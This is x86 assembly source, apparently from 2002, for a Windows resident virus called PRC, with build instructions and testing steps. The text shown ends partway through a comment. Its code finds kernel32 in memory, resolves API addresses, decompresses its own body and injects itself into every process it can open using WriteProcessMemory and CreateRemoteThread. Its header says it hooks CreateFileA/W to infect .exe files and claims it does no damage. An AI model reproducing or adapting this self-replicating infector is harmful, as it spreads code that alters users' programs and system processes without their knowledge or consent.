;********************************************************************* ;* * ;* The program information * ;* * ;* Program Name: PRC * ;* Current Version: 0.91(not under strict test) * ;* Completed on 11-25, 2002 * ;* * ;* This program is something like a virus. But it does not contain * ;* any damage code. So it won't do harm to your system. It just * ;* demonstrates a way of developing a resident virus * ;* under Windows. * ;* * ;* You can connect me [[email protected]] for technic discussions * ;* * ;*===================================================================* ;* * ;* How to complile this program? * ;* tasm32 /m /ml pv.asm, pv.obj * ;* tlink32 -c -M -x -Tpe -ap -S:0x10000 -Sc:0x6000 pv.obj, * ;* pv.exe, , kernel32.lib user32.lib * ;* The two libraries of kernel32.lib and user32.lib can be * ;* attained in the BC++5.5 compiler. * ;* * ;*===================================================================* ;* History * ;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++* ;* * ;* Version: 0.9 * ;* Completed on 11-25, 2002 * ;* * ;* 1) It can inject itself into the space of all the active * ;* processes in the system if access is permitted. * ;* 2) It can hook the File Storage API functions of CreateFileA * ;* and CreateFileW. If the hook is successfully installed, * ;* all file operations that the process makes will be * ;* monitored by our code. * ;* 3) It has the ability to infect the PE files with the * ;* extension ".exe". After the PE file has been infected, * ;* neither its size will increase, nor it will be infected * ;* a more time. * ;* * ;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++* ;* * ;* Version: 0.91 * ;* under modification * ;* * ;* 1) Use CreateFileMapping and MapViewOfFile instead of ReadFile, * ;* WriteFile and SetFilePointer to access the target file. The * ;* program size become much shorter. * ;* 2) Correct the bugs that the file is not closed if the file * ;* fails to be infected. * ;* * ;********************************************************************* .386P .model Flat, Stdcall ; If you want to play with the program, follow me. ; 1) Do change the value of 'DEBUG' unless you know exactly what the option will ; affect the behavior of the program. ; 2) Compile and run the program. ; 3) Prepare some EXE files and rename them to "*test.exe" style. Wait a few ; seconds, then search all EXE files containing the string "prcv0.9". If ; any file has been found, it means the program works! If no file are ; found, try more other files, because there are some EXE files the program ; can't infect. ; 4) I develop the program under Windows 2000. I don't know what will happen ; if it runs under Windows 98 or Windows XP. ;********************************************************************* FALSE = 0 TRUE = 1 DEBUG = TRUE NO_EXCEPTION_HANDLER = TRUE TRACE_REMOTE_THREAD = 0 SKIP_CURRENT_PROCESS = 1 INFECT_ALL_PROCESSES = 1 NOT_INFECT_FILES = 0 ERROR_DIAGNOSE = 0 ;********************************************************************* TH32CS_SNAPMODULE = 00000008h
FILE_BEGIN = 0 FILE_CURRENT = 1 FILE_END = 2 OPEN_EXISTING = 00000003h if NOT_INFECT_FILES OPEN_ALWAYS = 00000004h endif FILE_ATTRIBUTE_NORMAL = 00000080h FILE_SHARE_READ = 00000001h FILE_SHARE_WRITE = 00000002h GENERIC_READ = 80000000h GENERIC_WRITE = 40000000h FILE_MAP_WRITE = 00000002h MB_PRECOMPOSED = 00000001h MB_COMPOSITE = 00000002h CP_ACP = 0 CP_OEMCP = 1 CP_MACCP = 2 CP_THREAD_ACP = 3 PAGE_READWRITE = 00000004h FLAG_IN_DATA_SECTION = 00000001h FLAG_USE_TWO_SECTIONS = 00000002h MajorVersion = 0 MinorVersion = 9 MAX_PATH = 260 ; sizeof(IMAGE_NT_HEADERS) ; Section Header offset 0xF8
; FieldName Offset ;--------------------------------------------------------------------- ; AddressOfEntryPoint 0x28 ; SizeOfHeaders 0x54 ; SizeOfStackCommit 0x64 ; DataDirectory 0x78 ;********************************************************************* ;* * ;* Declare funtion prototype * ;* * ;********************************************************************* GetLastError PROTO MessageBoxA PROTO :DWORD, :DWORD, :DWORD, :DWORD GetModuleHandleA PROTO :DWORD GetProcAddress PROTO :DWORD, :DWORD CreateFileA PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD CreateFileW PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD CloseHandle PROTO :DWORD FindFirstFileA PROTO :DWORD, :DWORD FindNextFileA PROTO :DWORD, :DWORD
printf PROTO :DWORD ;********************************************************************* ;* * ;* Entry code section * ;* * ;********************************************************************* _TEXT segment use32 public 'CODE'
VirtualEntry: call GetLastError call GetCurrentEipToEbx $A: ;mov esi, 00400000h ;mov eax, [esi+0000003Ch] ;lea edi, [esi+eax] ;mov edx, [edi+00000080h] ;mov eax, [edx+esi] ;add eax, esi ;mov ecx, [eax+00000010h] mov edx, offset GetLastError add edx, 2 mov ecx, [edx] sub ecx, 00400000h mov eax, offset RvaOfFirstThunkOfKernel32 sub eax, offset $A mov [ebx+eax], ecx mov eax, offset OriginalEntryPoint sub eax, offset $A mov ecx, offset lb_ExitCurrentProcess sub ecx, 00400000h ;add ebx, eax ;push ebp ;mov ebp, esp ;push 00400000h mov [ebx+eax], ecx jmp EntryOfVirusCode lb_ExitCurrentProcess: ret _TEXT ends ;********************************************************************* ;* * ;* Data section * ;* * ;********************************************************************* _DATA segment use32 public 'DATA' ;---- Error Messages szExceptionCaused db "Exception error captured!",0 szError db "Error",0 FileNameToFind db 'g:\testfile\' FileNameFound = $ db '*.exe', 0 db 260 dup (?) TestFileW dw 'G', ':', '\', 'P', 'R', 'O', '\', 'T', 'a', 's', 'm', '\' dw 'T', 'e', 's', 't', '.', 'e', 'x', 'e', 0 TestFileA db 'G:\PRO\TASM\test.exe', 0 W32FindData db 140h dup(?) _DATA ends ;********************************************************************* ;* * ;* Main code section * ;* * ;********************************************************************* VirSegment segment use32 public 'PRC'
MAX_WND_SIZE = 1024 OFFSET_CODING_LENGTH = 10 M = 3 BaseOfVirusCode = $ ;********************************************************************* ;* * ;* RestoreCompressedData() * ;* * ;* Remarks: * ;* Restore the compressed data * ;* * ;* Parameters: * ;* [Esi] * ;* Point to the buffer containing decompression information * ;* * ;* Return Value: * ;* None. * ;* * ;********************************************************************* RestoreCompressedData: cld mov edi, [ebp][lpImageBaseBaseOfProcess] lea edx, [ebx][SizeOfTransmission-@B] push edx lea ecx, [ebx+VIRUS_VIRTUAL_SIZE][BaseOfVirusCode-@B] push ecx lodsd push eax mov edx, edi ;< lodsd ;< add edx, eax ;< pDataBuffer push edx ;< ;< call LZ77Decompress add edi, [esi] mov esi, ecx mov ecx, 'HOLD' SizeOfTransmission = $-4 push ecx push esi push PAGE_READWRITE mov esi, edi call InvokeVirtualProtectEx pop esi pop ecx push ecx push edi cld rep movsb pop esi pop ecx push dword ptr [ebx][dwOldProtect-@B] call InvokeVirtualProtectEx lb_ExitRestoreCompressedData: ret RvaOfEntryPoint = $ dd (offset EntryOfVirusCode - 00400000h)
RvaOfFirstThunkOfKernel32 = $ dd 0 DecompressionParametersA = $ dd 0 ;Total bits afetr compression. dd 0 ;Rva of the data buffer where the compressed data are stored in. dd 0 ;Rva of the data buffer where the compressed data are restored to. DecompressionParametersB = $ dd 0 dd 0 dd 0 EntryOfVirusCode: XX=-4 lpImageBaseBaseOfProcess = XX if NO_EXCEPTION_HANDLER XX=XX-4 else XX=XX-12 endif lpImageBaseOfKernel32 = XX XX=XX-4 hSnapShot = XX XX=XX-4 hProcessHandle = XX XX=XX-4 lpBaseOfCodeInRemoteProcess = XX pushad sub esp, VIRUS_BOOTING_SIZE mov edi, esp call @A @A = $ pop ebx lea eax, [ebx][EntryOfVirusCode-@A] mov ecx, [ebx][RvaOfEntryPoint-@A] sub eax, ecx lea esi, [ebx][BaseOfVirusCode-@A] mov ecx, VIRUS_PHYSICAL_SIZE cld rep movsb lea ebx, [esp][@B-BaseOfVirusCode] jmp ebx @B = $ push ebp mov ebp, esp push eax ; Initialize lpImageBaseBaseOfProcess add [ebx][OriginalEntryPoint-@B], eax ; Set up our exception handler. So when any exception occurs, ; our exception handler will get control first, and we can quit ; the virus code safely. ;===================================================================== ife NO_EXCEPTION_HANDLER lea eax, [esp-8] xor esi, esi xchg eax, fs:[esi] lea ecx, [ebx][ExceptionHandler-@B] push ecx push eax endif ;===================================================================== ; Let's locate the image base of the module 'Kernel32.dll'. lb_LoopOfLocateKernel32: pop eax push eax mov ecx, [ebx][RvaOfFirstThunkOfKernel32-@B] mov eax, [eax+ecx] add [ebx][RvaOfFirstThunkOfKernel32-@B], dword ptr 4 lb_LoopOfCheck64KBoundaries: and eax, 0FFFF0000h cmp word ptr [eax], 'ZM' jnz lb_TryNextBoundary mov ecx, [eax+0000003Ch] add ecx, eax cmp dword ptr [ecx], 00004550h jnz lb_TryNextBoundary mov edx, [ecx+00000078h] add edx, eax mov esi, [edx+0000000Ch] add esi, eax lea edi, [ebx][NameOfKernel32-@B] call strcmpi jz lb_ImageBaseOfKernel32IsFound jmp lb_LoopOfLocateKernel32 lb_TryNextBoundary: sub eax, 00010000h jmp lb_LoopOfCheck64KBoundaries lb_ImageBaseOfKernel32IsFound: push eax ; Intialize lpImageBaseOfKernel32 mov esi, edx lea edi, [ebx][IfNameTable-@B] ; Let get the entry points of the Windows API functions which ; the virus code must use from the module 'kernel32.dll'. lb_LoopOfGetEntryAddressOfApiFunctions: mov ecx, [edi] jecxz lb_AllAddressesGotten push eax push edi lea edi, [ebx+ecx] call GetProcedureAddress test eax, eax jz lb_ExitVirusProgram pop edi mov [edi][CallAddressTable-IfNameTable], eax pop eax add edi, 4 jmp lb_LoopOfGetEntryAddressOfApiFunctions lb_AllAddressesGotten:
lea esi, [ebx][DecompressionParametersA-@B] call RestoreCompressedData jmp lb_NoSecondCompressedSection JumpOffset = $-1 NextStatement = $ lea esi, [ebx][DecompressionParametersB-@B] call RestoreCompressedData lb_NoSecondCompressedSection: ;//} @C = @B ; Now all the entry addresses of the Api functions have been relocated. ; That is very import. ;
; Let's go. ;{ push 0 push 2 call dword ptr [ebx][lpfnCreateToolhelp32Snapshot-@C] test eax, eax jz lb_AllProcessesEnumerated push eax ; Initialize hSnapShot lea eax, [ebx][ProcessEntry32-@C] mov dword ptr [eax], 00000128h push eax push dword ptr [ebp][hSnapShot] call dword ptr [ebx][lpfnProcess32First-@C] test eax, eax jz lb_AllProcessesEnumerated lb_LoopOfEnumerateAllProcesses: ife INFECT_ALL_PROCESSES ife SKIP_CURRENT_PROCESS lea esi, [ebx][pe_szExeFile-@C] lea edi, [ebx][TargetProcessName-@C] call strcmpi jz lb_TryNextProcess call [ebx][lpfnGetCurrentProcessId-@C] cmp eax, [ebx][pe_th32ProcessID-@C] jnz lb_TryNextProcess else lea esi, [ebx][pe_szExeFile-@C] lea edi, [ebx][TargetProcessName-@C] call strcmpi jnz lb_TryNextProcess endif endif lb_TargetProcessFound: mov eax, [ebx][pe_th32ProcessID-@C] push eax push 0 push 001F0FFFh ; PROCESS_ALL_ACCESS call [ebx][lpfnOpenProcess-@C] test eax, eax jz lb_TryNextProcess push eax ; Initailize hProcessHandle push 00000004h ; PAGE_READWRITE push 00001000h ; MEM_COMMIT push VIRUS_ALIGN_SIZE push 0 push eax call [ebx][lpfnVirtualAllocEx-@C] ;push eax ;< ;call GetLastError ;< Debug Code ;pop eax ;< test eax, eax jz lb_ExitVirusProgram xchg eax, esi push esi ; lpBaseOfCodeInRemoteProcess lea edi, [ebx][ReturnValueFromRemoteProcess-@C] xor edx, edx mov [edi], edx ; Initialize return value push edx push VIRUS_ALIGN_SIZE lea ecx, [ebx][BaseOfVirusCode-@C] push ecx push esi push dword ptr [ebp][hProcessHandle] call [ebx][lpfnWriteProcessMemory-@C] test eax, eax jz lb_ExitVirusProgram ife SKIP_CURRENT_PROCESS push ebx endif xor ecx, ecx push ecx push ecx push ecx lea edx, [esi][RemoteThread-BaseOfVirusCode] push edx push ecx push ecx push dword ptr [ebp][hProcessHandle] call [ebx][lpfnCreateRemoteThread-@C] ;test eax, eax ;jz lb_ExitVirusProgram ife SKIP_CURRENT_PROCESS pop ebx endif push dword ptr [ebp][hProcessHandle] call [ebx][lpfnCloseHandle-@C] lb_TryNextProcess: lea eax, [ebx][ProcessEntry32-@C] push eax push dword ptr [ebp][hSnapShot] call dword ptr [ebx][lpfnProcess32Next-@C] test eax, eax jz lb_ExitVirusProgram jmp lb_LoopOfEnumerateAllProcesses lb_AllProcessesEnumerated: push dword ptr [ebp][hSnapShot] call [ebx][lpfnCloseHandle-@C] lb_ExitVirusProgram: ;jmp lb_DirectlyExitVirusProgram lb_DirectlyExitVirusProgram: ife NO_EXCEPTION_HANDLER pop dword ptr fs:[0] pop ecx endif mov esp, ebp pop ebp add esp, VIRUS_BOOTING_SIZE popad push offset lb_ExitCurrentProcess OriginalEntryPoint = $-4 ret ;********************************************************************* ;* * ;* Get the current EIP into EAX. You can use this way to locate * ;* the virus code. * ;* * ;********************************************************************* GetCurrentEipToEax:
pop eax jmp eax ;********************************************************************* ;* * ;* Get the current EIP into EBX. You can use this way to locate * ;* the virus code. * ;* * ;********************************************************************* GetCurrentEipToEbx: pop ebx jmp ebx ;********************************************************************* ;* * ;* strcmpi() * ;* * ;* Remarks: * ;* This routine compare two strings, case-insensitive. * ;* * ;* Parameters: * ;* [ESI] * ;* Point to string1. * ;* [EDI] * ;* Point to string2 * ;* * ;* Return Value: * ;* If these two strings are identical, * ;* ZF flag will be set. * ;* If these two strings are not identical, * ;* ZF flag will be cleared. * ;* &

|